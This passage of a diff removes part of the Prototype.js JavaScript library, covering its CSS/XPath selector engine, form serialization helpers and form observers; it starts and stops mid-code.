-        var el = document.createElement('div');
-        el.innerHTML = '<ul><li></li></ul><div><ul><li></li></ul></div>';
-
-        var xpath = ".//*[local-name()='ul' or local-name()='UL']" +
-          "//*[local-name()='li' or local-name()='LI']";
-
-        var result = document.evaluate(xpath, el, null,
-          XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
-
-        isBuggy = (result.snapshotLength !== 2);
-        el = null;
-      }
-      return isBuggy;
-    })();
-
-    return function() {
-      if (!Prototype.BrowserFeatures.XPath) return false;
-
-      var e = this.expression;
-
-      if (Prototype.Browser.WebKit &&
-       (e.include("-of-type") || e.include(":empty")))
-        return false;
-
-      if ((/(\[[\w-]*?:|:checked)/).test(e))
-        return false;
-
-      if (IS_DESCENDANT_SELECTOR_BUGGY) return false;
-
-      return true;
-    }
-
-  })(),
-
-  shouldUseSelectorsAPI: function() {
-    if (!Prototype.BrowserFeatures.SelectorsAPI) return false;
-
-    if (Selector.CASE_INSENSITIVE_CLASS_NAMES) return false;
-
-    if (!Selector._div) Selector._div = new Element('div');
-
-    try {
-      Selector._div.querySelector(this.expression);
-    } catch(e) {
-      return false;
-    }
-
-    return true;
-  },
-
-  compileMatcher: function() {
-    var e = this.expression, ps = Selector.patterns, h = Selector.handlers,
-        c = Selector.criteria, le, p, m, len = ps.length, name;
-
-    if (Selector._cache[e]) {
-      this.matcher = Selector._cache[e];
-      return;
-    }
-
-    this.matcher = ["this.matcher = function(root) {",
-                    "var r = root, h = Selector.handlers, c = false, n;"];
-
-    while (e && le != e && (/\S/).test(e)) {
-      le = e;
-      for (var i = 0; i<len; i++) {
-        p = ps[i].re;
-        name = ps[i].name;
-        if (m = e.match(p)) {
-          this.matcher.push(Object.isFunction(c[name]) ? c[name](m) :
-            new Template(c[name]).evaluate(m));
-          e = e.replace(m[0], '');
-          break;
-        }
-      }
-    }
-
-    this.matcher.push("return h.unique(n);\n}");
-    eval(this.matcher.join('\n'));
-    Selector._cache[this.expression] = this.matcher;
-  },
-
-  compileXPathMatcher: function() {
-    var e = this.expression, ps = Selector.patterns,
-        x = Selector.xpath, le, m, len = ps.length, name;
-
-    if (Selector._cache[e]) {
-      this.xpath = Selector._cache[e]; return;
-    }
-
-    this.matcher = ['.//*'];
-    while (e && le != e && (/\S/).test(e)) {
-      le = e;
-      for (var i = 0; i<len; i++) {
-        name = ps[i].name;
-        if (m = e.match(ps[i].re)) {
-          this.matcher.push(Object.isFunction(x[name]) ? x[name](m) :
-            new Template(x[name]).evaluate(m));
-          e = e.replace(m[0], '');
-          break;
-        }
-      }
-    }
-
-    this.xpath = this.matcher.join('');
-    Selector._cache[this.expression] = this.xpath;
-  },
-
-  findElements: function(root) {
-    root = root || document;
-    var e = this.expression, results;
-
-    switch (this.mode) {
-      case 'selectorsAPI':
-        if (root !== document) {
-          var oldId = root.id, id = $(root).identify();
-          id = id.replace(/([\.:])/g, "\\$1");
-          e = "#" + id + " " + e;
-        }
-
-        results = $A(root.querySelectorAll(e)).map(Element.extend);
-        root.id = oldId;
-
-        return results;
-      case 'xpath':
-        return document._getElementsByXPath(this.xpath, root);
-      default:
-       return this.matcher(root);
-    }
-  },
-
-  match: function(element) {
-    this.tokens = [];
-
-    var e = this.expression, ps = Selector.patterns, as = Selector.assertions;
-    var le, p, m, len = ps.length, name;
-
-    while (e && le !== e && (/\S/).test(e)) {
-      le = e;
-      for (var i = 0; i<len; i++) {
-        p = ps[i].re;
-        name = ps[i].name;
-        if (m = e.match(p)) {
-          if (as[name]) {
-            this.tokens.push([name, Object.clone(m)]);
-            e = e.replace(m[0], '');
-          } else {
-            return this.findElements(document).include(element);
-          }
-        }
-      }
-    }
-
-    var match = true, name, matches;
-    for (var i = 0, token; token = this.tokens[i]; i++) {
-      name = token[0], matches = token[1];
-      if (!Selector.assertions[name](element, matches)) {
-        match = false; break;
-      }
-    }
-
-    return match;
-  },
-
-  toString: function() {
-    return this.expression;
-  },
-
-  inspect: function() {
-    return "#<Selector:" + this.expression.inspect() + ">";
-  }
-});
-
-if (Prototype.BrowserFeatures.SelectorsAPI &&
- document.compatMode === 'BackCompat') {
-  Selector.CASE_INSENSITIVE_CLASS_NAMES = (function(){
-    var div = document.createElement('div'),
-     span = document.createElement('span');
-
-    div.id = "prototype_test_id";
-    span.className = 'Test';
-    div.appendChild(span);
-    var isIgnored = (div.querySelector('#prototype_test_id .test') !== null);
-    div = span = null;
-    return isIgnored;
-  })();
-}
-
-Object.extend(Selector, {
-  _cache: { },
-
-  xpath: {
-    descendant:   "//*",
-    child:        "/*",
-    adjacent:     "/following-sibling::*[1]",
-    laterSibling: '/following-sibling::*',
-    tagName:      function(m) {
-      if (m[1] == '*') return '';
-      return "[local-name()='" + m[1].toLowerCase() +
-             "' or local-name()='" + m[1].toUpperCase() + "']";
-    },
-    className:    "[contains(concat(' ', @class, ' '), ' #{1} ')]",
-    id:           "[@id='#{1}']",
-    attrPresence: function(m) {
-      m[1] = m[1].toLowerCase();
-      return new Template("[@#{1}]").evaluate(m);
-    },
-    attr: function(m) {
-      m[1] = m[1].toLowerCase();
-      m[3] = m[5] || m[6];
-      return new Template(Selector.xpath.operators[m[2]]).evaluate(m);
-    },
-    pseudo: function(m) {
-      var h = Selector.xpath.pseudos[m[1]];
-      if (!h) return '';
-      if (Object.isFunction(h)) return h(m);
-      return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m);
-    },
-    operators: {
-      '=':  "[@#{1}='#{3}']",
-      '!=': "[@#{1}!='#{3}']",
-      '^=': "[starts-with(@#{1}, '#{3}')]",
-      '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']",
-      '*=': "[contains(@#{1}, '#{3}')]",
-      '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]",
-      '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]"
-    },
-    pseudos: {
-      'first-child': '[not(preceding-sibling::*)]',
-      'last-child':  '[not(following-sibling::*)]',
-      'only-child':  '[not(preceding-sibling::* or following-sibling::*)]',
-      'empty':       "[count(*) = 0 and (count(text()) = 0)]",
-      'checked':     "[@checked]",
-      'disabled':    "[(@disabled) and (@type!='hidden')]",
-      'enabled':     "[not(@disabled) and (@type!='hidden')]",
-      'not': function(m) {
-        var e = m[6], p = Selector.patterns,
-            x = Selector.xpath, le, v, len = p.length, name;
-
-        var exclusion = [];
-        while (e && le != e && (/\S/).test(e)) {
-          le = e;
-          for (var i = 0; i<len; i++) {
-            name = p[i].name
-            if (m = e.match(p[i].re)) {
-              v = Object.isFunction(x[name]) ? x[name](m) : new Template(x[name]).evaluate(m);
-              exclusion.push("(" + v.substring(1, v.length - 1) + ")");
-              e = e.replace(m[0], '');
-              break;
-            }
-          }
-        }
-        return "[not(" + exclusion.join(" and ") + ")]";
-      },
-      'nth-child':      function(m) {
-        return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m);
-      },
-      'nth-last-child': function(m) {
-        return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m);
-      },
-      'nth-of-type':    function(m) {
-        return Selector.xpath.pseudos.nth("position() ", m);
-      },
-      'nth-last-of-type': function(m) {
-        return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m);
-      },
-      'first-of-type':  function(m) {
-        m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m);
-      },
-      'last-of-type':   function(m) {
-        m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m);
-      },
-      'only-of-type':   function(m) {
-        var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m);
-      },
-      nth: function(fragment, m) {
-        var mm, formula = m[6], predicate;
-        if (formula == 'even') formula = '2n+0';
-        if (formula == 'odd')  formula = '2n+1';
-        if (mm = formula.match(/^(\d+)$/)) // digit only
-          return '[' + fragment + "= " + mm[1] + ']';
-        if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
-          if (mm[1] == "-") mm[1] = -1;
-          var a = mm[1] ? Number(mm[1]) : 1;
-          var b = mm[2] ? Number(mm[2]) : 0;
-          predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " +
-          "((#{fragment} - #{b}) div #{a} >= 0)]";
-          return new Template(predicate).evaluate({
-            fragment: fragment, a: a, b: b });
-        }
-      }
-    }
-  },
-
-  criteria: {
-    tagName:      'n = h.tagName(n, r, "#{1}", c);      c = false;',
-    className:    'n = h.className(n, r, "#{1}", c);    c = false;',
-    id:           'n = h.id(n, r, "#{1}", c);           c = false;',
-    attrPresence: 'n = h.attrPresence(n, r, "#{1}", c); c = false;',
-    attr: function(m) {
-      m[3] = (m[5] || m[6]);
-      return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}", c); c = false;').evaluate(m);
-    },
-    pseudo: function(m) {
-      if (m[6]) m[6] = m[6].replace(/"/g, '\\"');
-      return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m);
-    },
-    descendant:   'c = "descendant";',
-    child:        'c = "child";',
-    adjacent:     'c = "adjacent";',
-    laterSibling: 'c = "laterSibling";'
-  },
-
-  patterns: [
-    { name: 'laterSibling', re: /^\s*~\s*/ },
-    { name: 'child',        re: /^\s*>\s*/ },
-    { name: 'adjacent',     re: /^\s*\+\s*/ },
-    { name: 'descendant',   re: /^\s/ },
-
-    { name: 'tagName',      re: /^\s*(\*|[\w\-]+)(\b|$)?/ },
-    { name: 'id',           re: /^#([\w\-\*]+)(\b|$)/ },
-    { name: 'className',    re: /^\.([\w\-\*]+)(\b|$)/ },
-    { name: 'pseudo',       re: /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s|[:+~>]))/ },
-    { name: 'attrPresence', re: /^\[((?:[\w-]+:)?[\w-]+)\]/ },
-    { name: 'attr',         re: /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/ }
-  ],
-
-  assertions: {
-    tagName: function(element, matches) {
-      return matches[1].toUpperCase() == element.tagName.toUpperCase();
-    },
-
-    className: function(element, matches) {
-      return Element.hasClassName(element, matches[1]);
-    },
-
-    id: function(element, matches) {
-      return element.id === matches[1];
-    },
-
-    attrPresence: function(element, matches) {
-      return Element.hasAttribute(element, matches[1]);
-    },
-
-    attr: function(element, matches) {
-      var nodeValue = Element.readAttribute(element, matches[1]);
-      return nodeValue && Selector.operators[matches[2]](nodeValue, matches[5] || matches[6]);
-    }
-  },
-
-  handlers: {
-    concat: function(a, b) {
-      for (var i = 0, node; node = b[i]; i++)
-        a.push(node);
-      return a;
-    },
-
-    mark: function(nodes) {
-      var _true = Prototype.emptyFunction;
-      for (var i = 0, node; node = nodes[i]; i++)
-        node._countedByPrototype = _true;
-      return nodes;
-    },
-
-    unmark: (function(){
-
-      var PROPERTIES_ATTRIBUTES_MAP = (function(){
-        var el = document.createElement('div'),
-            isBuggy = false,
-            propName = '_countedByPrototype',
-            value = 'x'
-        el[propName] = value;
-        isBuggy = (el.getAttribute(propName) === value);
-        el = null;
-        return isBuggy;
-      })();
-
-      return PROPERTIES_ATTRIBUTES_MAP ?
-        function(nodes) {
-          for (var i = 0, node; node = nodes[i]; i++)
-            node.removeAttribute('_countedByPrototype');
-          return nodes;
-        } :
-        function(nodes) {
-          for (var i = 0, node; node = nodes[i]; i++)
-            node._countedByPrototype = void 0;
-          return nodes;
-        }
-    })(),
-
-    index: function(parentNode, reverse, ofType) {
-      parentNode._countedByPrototype = Prototype.emptyFunction;
-      if (reverse) {
-        for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) {
-          var node = nodes[i];
-          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
-        }
-      } else {
-        for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++)
-          if (node.nodeType == 1 && (!ofType || node._countedByPrototype)) node.nodeIndex = j++;
-      }
-    },
-
-    unique: function(nodes) {
-      if (nodes.length == 0) return nodes;
-      var results = [], n;
-      for (var i = 0, l = nodes.length; i < l; i++)
-        if (typeof (n = nodes[i])._countedByPrototype == 'undefined') {
-          n._countedByPrototype = Prototype.emptyFunction;
-          results.push(Element.extend(n));
-        }
-      return Selector.handlers.unmark(results);
-    },
-
-    descendant: function(nodes) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        h.concat(results, node.getElementsByTagName('*'));
-      return results;
-    },
-
-    child: function(nodes) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        for (var j = 0, child; child = node.childNodes[j]; j++)
-          if (child.nodeType == 1 && child.tagName != '!') results.push(child);
-      }
-      return results;
-    },
-
-    adjacent: function(nodes) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        var next = this.nextElementSibling(node);
-        if (next) results.push(next);
-      }
-      return results;
-    },
-
-    laterSibling: function(nodes) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        h.concat(results, Element.nextSiblings(node));
-      return results;
-    },
-
-    nextElementSibling: function(node) {
-      while (node = node.nextSibling)
-        if (node.nodeType == 1) return node;
-      return null;
-    },
-
-    previousElementSibling: function(node) {
-      while (node = node.previousSibling)
-        if (node.nodeType == 1) return node;
-      return null;
-    },
-
-    tagName: function(nodes, root, tagName, combinator) {
-      var uTagName = tagName.toUpperCase();
-      var results = [], h = Selector.handlers;
-      if (nodes) {
-        if (combinator) {
-          if (combinator == "descendant") {
-            for (var i = 0, node; node = nodes[i]; i++)
-              h.concat(results, node.getElementsByTagName(tagName));
-            return results;
-          } else nodes = this[combinator](nodes);
-          if (tagName == "*") return nodes;
-        }
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node.tagName.toUpperCase() === uTagName) results.push(node);
-        return results;
-      } else return root.getElementsByTagName(tagName);
-    },
-
-    id: function(nodes, root, id, combinator) {
-      var targetNode = $(id), h = Selector.handlers;
-
-      if (root == document) {
-        if (!targetNode) return [];
-        if (!nodes) return [targetNode];
-      } else {
-        if (!root.sourceIndex || root.sourceIndex < 1) {
-          var nodes = root.getElementsByTagName('*');
-          for (var j = 0, node; node = nodes[j]; j++) {
-            if (node.id === id) return [node];
-          }
-        }
-      }
-
-      if (nodes) {
-        if (combinator) {
-          if (combinator == 'child') {
-            for (var i = 0, node; node = nodes[i]; i++)
-              if (targetNode.parentNode == node) return [targetNode];
-          } else if (combinator == 'descendant') {
-            for (var i = 0, node; node = nodes[i]; i++)
-              if (Element.descendantOf(targetNode, node)) return [targetNode];
-          } else if (combinator == 'adjacent') {
-            for (var i = 0, node; node = nodes[i]; i++)
-              if (Selector.handlers.previousElementSibling(targetNode) == node)
-                return [targetNode];
-          } else nodes = h[combinator](nodes);
-        }
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node == targetNode) return [targetNode];
-        return [];
-      }
-      return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : [];
-    },
-
-    className: function(nodes, root, className, combinator) {
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      return Selector.handlers.byClassName(nodes, root, className);
-    },
-
-    byClassName: function(nodes, root, className) {
-      if (!nodes) nodes = Selector.handlers.descendant([root]);
-      var needle = ' ' + className + ' ';
-      for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) {
-        nodeClassName = node.className;
-        if (nodeClassName.length == 0) continue;
-        if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle))
-          results.push(node);
-      }
-      return results;
-    },
-
-    attrPresence: function(nodes, root, attr, combinator) {
-      if (!nodes) nodes = root.getElementsByTagName("*");
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      var results = [];
-      for (var i = 0, node; node = nodes[i]; i++)
-        if (Element.hasAttribute(node, attr)) results.push(node);
-      return results;
-    },
-
-    attr: function(nodes, root, attr, value, operator, combinator) {
-      if (!nodes) nodes = root.getElementsByTagName("*");
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      var handler = Selector.operators[operator], results = [];
-      for (var i = 0, node; node = nodes[i]; i++) {
-        var nodeValue = Element.readAttribute(node, attr);
-        if (nodeValue === null) continue;
-        if (handler(nodeValue, value)) results.push(node);
-      }
-      return results;
-    },
-
-    pseudo: function(nodes, name, value, root, combinator) {
-      if (nodes && combinator) nodes = this[combinator](nodes);
-      if (!nodes) nodes = root.getElementsByTagName("*");
-      return Selector.pseudos[name](nodes, value, root);
-    }
-  },
-
-  pseudos: {
-    'first-child': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        if (Selector.handlers.previousElementSibling(node)) continue;
-          results.push(node);
-      }
-      return results;
-    },
-    'last-child': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        if (Selector.handlers.nextElementSibling(node)) continue;
-          results.push(node);
-      }
-      return results;
-    },
-    'only-child': function(nodes, value, root) {
-      var h = Selector.handlers;
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (!h.previousElementSibling(node) && !h.nextElementSibling(node))
-          results.push(node);
-      return results;
-    },
-    'nth-child':        function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root);
-    },
-    'nth-last-child':   function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root, true);
-    },
-    'nth-of-type':      function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root, false, true);
-    },
-    'nth-last-of-type': function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, formula, root, true, true);
-    },
-    'first-of-type':    function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, "1", root, false, true);
-    },
-    'last-of-type':     function(nodes, formula, root) {
-      return Selector.pseudos.nth(nodes, "1", root, true, true);
-    },
-    'only-of-type':     function(nodes, formula, root) {
-      var p = Selector.pseudos;
-      return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root);
-    },
-
-    getIndices: function(a, b, total) {
-      if (a == 0) return b > 0 ? [b] : [];
-      return $R(1, total).inject([], function(memo, i) {
-        if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i);
-        return memo;
-      });
-    },
-
-    nth: function(nodes, formula, root, reverse, ofType) {
-      if (nodes.length == 0) return [];
-      if (formula == 'even') formula = '2n+0';
-      if (formula == 'odd')  formula = '2n+1';
-      var h = Selector.handlers, results = [], indexed = [], m;
-      h.mark(nodes);
-      for (var i = 0, node; node = nodes[i]; i++) {
-        if (!node.parentNode._countedByPrototype) {
-          h.index(node.parentNode, reverse, ofType);
-          indexed.push(node.parentNode);
-        }
-      }
-      if (formula.match(/^\d+$/)) { // just a number
-        formula = Number(formula);
-        for (var i = 0, node; node = nodes[i]; i++)
-          if (node.nodeIndex == formula) results.push(node);
-      } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b
-        if (m[1] == "-") m[1] = -1;
-        var a = m[1] ? Number(m[1]) : 1;
-        var b = m[2] ? Number(m[2]) : 0;
-        var indices = Selector.pseudos.getIndices(a, b, nodes.length);
-        for (var i = 0, node, l = indices.length; node = nodes[i]; i++) {
-          for (var j = 0; j < l; j++)
-            if (node.nodeIndex == indices[j]) results.push(node);
-        }
-      }
-      h.unmark(nodes);
-      h.unmark(indexed);
-      return results;
-    },
-
-    'empty': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++) {
-        if (node.tagName == '!' || node.firstChild) continue;
-        results.push(node);
-      }
-      return results;
-    },
-
-    'not': function(nodes, selector, root) {
-      var h = Selector.handlers, selectorType, m;
-      var exclusions = new Selector(selector).findElements(root);
-      h.mark(exclusions);
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (!node._countedByPrototype) results.push(node);
-      h.unmark(exclusions);
-      return results;
-    },
-
-    'enabled': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (!node.disabled && (!node.type || node.type !== 'hidden'))
-          results.push(node);
-      return results;
-    },
-
-    'disabled': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (node.disabled) results.push(node);
-      return results;
-    },
-
-    'checked': function(nodes, value, root) {
-      for (var i = 0, results = [], node; node = nodes[i]; i++)
-        if (node.checked) results.push(node);
-      return results;
-    }
-  },
-
-  operators: {
-    '=':  function(nv, v) { return nv == v; },
-    '!=': function(nv, v) { return nv != v; },
-    '^=': function(nv, v) { return nv == v || nv && nv.startsWith(v); },
-    '$=': function(nv, v) { return nv == v || nv && nv.endsWith(v); },
-    '*=': function(nv, v) { return nv == v || nv && nv.include(v); },
-    '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); },
-    '|=': function(nv, v) { return ('-' + (nv || "").toUpperCase() +
-     '-').include('-' + (v || "").toUpperCase() + '-'); }
-  },
-
-  split: function(expression) {
-    var expressions = [];
-    expression.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) {
-      expressions.push(m[1].strip());
-    });
-    return expressions;
-  },
-
-  matchElements: function(elements, expression) {
-    var matches = $$(expression), h = Selector.handlers;
-    h.mark(matches);
-    for (var i = 0, results = [], element; element = elements[i]; i++)
-      if (element._countedByPrototype) results.push(element);
-    h.unmark(matches);
-    return results;
-  },
-
-  findElement: function(elements, expression, index) {
-    if (Object.isNumber(expression)) {
-      index = expression; expression = false;
-    }
-    return Selector.matchElements(elements, expression || '*')[index || 0];
-  },
-
-  findChildElements: function(element, expressions) {
-    expressions = Selector.split(expressions.join(','));
-    var results = [], h = Selector.handlers;
-    for (var i = 0, l = expressions.length, selector; i < l; i++) {
-      selector = new Selector(expressions[i].strip());
-      h.concat(results, selector.findElements(element));
-    }
-    return (l > 1) ? h.unique(results) : results;
-  }
-});
-
-if (Prototype.Browser.IE) {
-  Object.extend(Selector.handlers, {
-    concat: function(a, b) {
-      for (var i = 0, node; node = b[i]; i++)
-        if (node.tagName !== "!") a.push(node);
-      return a;
-    }
-  });
-}
-
-function $$() {
-  return Selector.findChildElements(document, $A(arguments));
-}
-
-var Form = {
-  reset: function(form) {
-    form = $(form);
-    form.reset();
-    return form;
-  },
-
-  serializeElements: function(elements, options) {
-    if (typeof options != 'object') options = { hash: !!options };
-    else if (Object.isUndefined(options.hash)) options.hash = true;
-    var key, value, submitted = false, submit = options.submit;
-
-    var data = elements.inject({ }, function(result, element) {
-      if (!element.disabled && element.name) {
-        key = element.name; value = $(element).getValue();
-        if (value != null && element.type != 'file' && (element.type != 'submit' || (!submitted &&
-            submit !== false && (!submit || key == submit) && (submitted = true)))) {
-          if (key in result) {
-            if (!Object.isArray(result[key])) result[key] = [result[key]];
-            result[key].push(value);
-          }
-          else result[key] = value;
-        }
-      }
-      return result;
-    });
-
-    return options.hash ? data : Object.toQueryString(data);
-  }
-};
-
-Form.Methods = {
-  serialize: function(form, options) {
-    return Form.serializeElements(Form.getElements(form), options);
-  },
-
-  getElements: function(form) {
-    var elements = $(form).getElementsByTagName('*'),
-        element,
-        arr = [ ],
-        serializers = Form.Element.Serializers;
-    for (var i = 0; element = elements[i]; i++) {
-      arr.push(element);
-    }
-    return arr.inject([], function(elements, child) {
-      if (serializers[child.tagName.toLowerCase()])
-        elements.push(Element.extend(child));
-      return elements;
-    })
-  },
-
-  getInputs: function(form, typeName, name) {
-    form = $(form);
-    var inputs = form.getElementsByTagName('input');
-
-    if (!typeName && !name) return $A(inputs).map(Element.extend);
-
-    for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) {
-      var input = inputs[i];
-      if ((typeName && input.type != typeName) || (name && input.name != name))
-        continue;
-      matchingInputs.push(Element.extend(input));
-    }
-
-    return matchingInputs;
-  },
-
-  disable: function(form) {
-    form = $(form);
-    Form.getElements(form).invoke('disable');
-    return form;
-  },
-
-  enable: function(form) {
-    form = $(form);
-    Form.getElements(form).invoke('enable');
-    return form;
-  },
-
-  findFirstElement: function(form) {
-    var elements = $(form).getElements().findAll(function(element) {
-      return 'hidden' != element.type && !element.disabled;
-    });
-    var firstByIndex = elements.findAll(function(element) {
-      return element.hasAttribute('tabIndex') && element.tabIndex >= 0;
-    }).sortBy(function(element) { return element.tabIndex }).first();
-
-    return firstByIndex ? firstByIndex : elements.find(function(element) {
-      return /^(?:input|select|textarea)$/i.test(element.tagName);
-    });
-  },
-
-  focusFirstElement: function(form) {
-    form = $(form);
-    form.findFirstElement().activate();
-    return form;
-  },
-
-  request: function(form, options) {
-    form = $(form), options = Object.clone(options || { });
-
-    var params = options.parameters, action = form.readAttribute('action') || '';
-    if (action.blank()) action = window.location.href;
-    options.parameters = form.serialize(true);
-
-    if (params) {
-      if (Object.isString(params)) params = params.toQueryParams();
-      Object.extend(options.parameters, params);
-    }
-
-    if (form.hasAttribute('method') && !options.method)
-      options.method = form.method;
-
-    return new Ajax.Request(action, options);
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-
-Form.Element = {
-  focus: function(element) {
-    $(element).focus();
-    return element;
-  },
-
-  select: function(element) {
-    $(element).select();
-    return element;
-  }
-};
-
-Form.Element.Methods = {
-
-  serialize: function(element) {
-    element = $(element);
-    if (!element.disabled && element.name) {
-      var value = element.getValue();
-      if (value != undefined) {
-        var pair = { };
-        pair[element.name] = value;
-        return Object.toQueryString(pair);
-      }
-    }
-    return '';
-  },
-
-  getValue: function(element) {
-    element = $(element);
-    var method = element.tagName.toLowerCase();
-    return Form.Element.Serializers[method](element);
-  },
-
-  setValue: function(element, value) {
-    element = $(element);
-    var method = element.tagName.toLowerCase();
-    Form.Element.Serializers[method](element, value);
-    return element;
-  },
-
-  clear: function(element) {
-    $(element).value = '';
-    return element;
-  },
-
-  present: function(element) {
-    return $(element).value != '';
-  },
-
-  activate: function(element) {
-    element = $(element);
-    try {
-      element.focus();
-      if (element.select && (element.tagName.toLowerCase() != 'input' ||
-          !(/^(?:button|reset|submit)$/i.test(element.type))))
-        element.select();
-    } catch (e) { }
-    return element;
-  },
-
-  disable: function(element) {
-    element = $(element);
-    element.disabled = true;
-    return element;
-  },
-
-  enable: function(element) {
-    element = $(element);
-    element.disabled = false;
-    return element;
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-var Field = Form.Element;
-
-var $F = Form.Element.Methods.getValue;
-
-/*--------------------------------------------------------------------------*/
-
-Form.Element.Serializers = {
-  input: function(element, value) {
-    switch (element.type.toLowerCase()) {
-      case 'checkbox':
-      case 'radio':
-        return Form.Element.Serializers.inputSelector(element, value);
-      default:
-        return Form.Element.Serializers.textarea(element, value);
-    }
-  },
-
-  inputSelector: function(element, value) {
-    if (Object.isUndefined(value)) return element.checked ? element.value : null;
-    else element.checked = !!value;
-  },
-
-  textarea: function(element, value) {
-    if (Object.isUndefined(value)) return element.value;
-    else element.value = value;
-  },
-
-  select: function(element, value) {
-    if (Object.isUndefined(value))
-      return this[element.type == 'select-one' ?
-        'selectOne' : 'selectMany'](element);
-    else {
-      var opt, currentValue, single = !Object.isArray(value);
-      for (var i = 0, length = element.length; i < length; i++) {
-        opt = element.options[i];
-        currentValue = this.optionValue(opt);
-        if (single) {
-          if (currentValue == value) {
-            opt.selected = true;
-            return;
-          }
-        }
-        else opt.selected = value.include(currentValue);
-      }
-    }
-  },
-
-  selectOne: function(element) {
-    var index = element.selectedIndex;
-    return index >= 0 ? this.optionValue(element.options[index]) : null;
-  },
-
-  selectMany: function(element) {
-    var values, length = element.length;
-    if (!length) return null;
-
-    for (var i = 0, values = []; i < length; i++) {
-      var opt = element.options[i];
-      if (opt.selected) values.push(this.optionValue(opt));
-    }
-    return values;
-  },
-
-  optionValue: function(opt) {
-    return Element.extend(opt).hasAttribute('value') ? opt.value : opt.text;
-  }
-};
-
-/*--------------------------------------------------------------------------*/
-
-
-Abstract.TimedObserver = Class.create(PeriodicalExecuter, {
-  initialize: function($super, element, frequency, callback) {
-    $super(callback, frequency);
-    this.element   = $(element);
-    this.lastValue = this.getValue();
-  },
-
-  execute: function() {
-    var value = this.getValue();
-    if (Object.isString(this.lastValue) && Object.isString(value) ?
-        this.lastValue != value : String(this.lastValue) != String(value)) {
-      this.callback(this.element, value);
-      this.lastValue = value;
-    }
-  }
-});
-
-Form.Element.Observer = Class.create(Abstract.TimedObserver, {
-  getValue: function() {
-    return Form.Element.getValue(this.element);
-  }
-});
-
-Form.Observer = Class.create(Abstract.TimedObserver, {
-  getValue: function() {
-    return Form.serialize(this.element);
-  }
-});
-
-/*--------------------------------------------------------------------------*/
-
-Abstract.EventObserver = Class.create({
-  initialize: function(element, callback) {
-    this.element  = $(element);
-    this.callback = callback;
-
-    this.lastValue = this.getValue();
-    if (this.element.tagName.toLowerCase() == 'form')
-      this.registerFormCallbacks();
-    else
-      this.registerCallback(this.element);
-  },
-
-  onElementEvent: function() {
-    var value = this.getValue();
-    if (this.lastValue != value) {
-      this.callback(this.element, value);
-      this.lastValue = value;
-    }
-  },
-
-  registerFormCallbacks: function() {
-    Form.getElements(this.element).each(this.registerCallback, this);
-  },
-
-  registerCallback: function(element) {
-    if (element.type) {
-      switch (element.type.toLowerCase()) {
-        case 'checkbox':
-        case 'radio':
-          Event.observe(element, 'click', this.onElementEvent.bind(this));
-          break;
-        default:
-          Event.observe(element, 'change', this.onElementEvent.bind(this));
-          break;
-      }
-    }
-  }
-});
-
-Form.Element.EventObserver = Class.create(Abstract.EventObserver, {
-  getValue: function() {
-    return Form.Element.getValue(this.element);
-  }
-});
-
-Form.EventObserver = Class.create(Abstract.EventObserver, {
-  getValue: function() {
-    return Form.serialize(this.element);
-  }
-});
-(function() {
-
-  var Event = {
-    KEY_BACKSPACE: 8,
-    KEY_TAB:       9,
